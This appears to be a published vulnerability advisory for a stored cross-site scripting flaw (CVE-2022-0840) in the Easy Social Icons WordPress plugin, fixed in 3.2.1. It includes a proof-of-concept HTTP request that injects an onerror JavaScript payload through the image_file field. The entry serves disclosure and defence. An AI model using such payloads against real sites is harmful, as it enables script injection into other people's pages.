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WordPress Plugin Vulnerabilities

Easy Social Icons < 3.2.1 - Admin+ Stored Cross-Site Scripting in add icon

Description

The plugin does not properly escape the image_file field when adding a new social icon, allowing high privileged users to inject arbitrary javascript even when the unfiltered_html capability is disallowed.

Version 3.2.0 adressed some of the issues, but was still vulnerable when clicking to edit the contaminated icon.

Proof of Concept

POST /wp-admin/admin.php?page=cnss_social_icon_add HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryntci4RWsTIt6kFWd
Accept-Encoding: gzip, deflate
Cookie: [Admin cookies]
Connection: close

------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="_wpnonce"

482d64ba75
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/admin.php?page=cnss_social_icon_add
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="title"

55
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="image_file"

." onerror=alert``;//
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="url"

1123
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="sortorder"

4
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="target"

1
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="action"

update
------WebKitFormBoundaryntci4RWsTIt6kFWd
Content-Disposition: form-data; name="submit_button"

변경사항 저장
------WebKitFormBoundaryntci4RWsTIt6kFWd-- 

Affects Plugins

easy-social-icons
Fixed in version 3.2.1

References

CVE
CVE-2022-0840

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

qerogram

Submitter

qerogram

Submitter website
https://github.com/qerogram
Verified

Yes

WPVDB ID
9da884a9-b4dd-4de0-9afa-722f772cf2df

Timeline

Publicly Published

2022-03-21 (about 4 months ago)

Added

2022-03-21 (about 4 months ago)

Last Updated

2022-04-11 (about 4 months ago)

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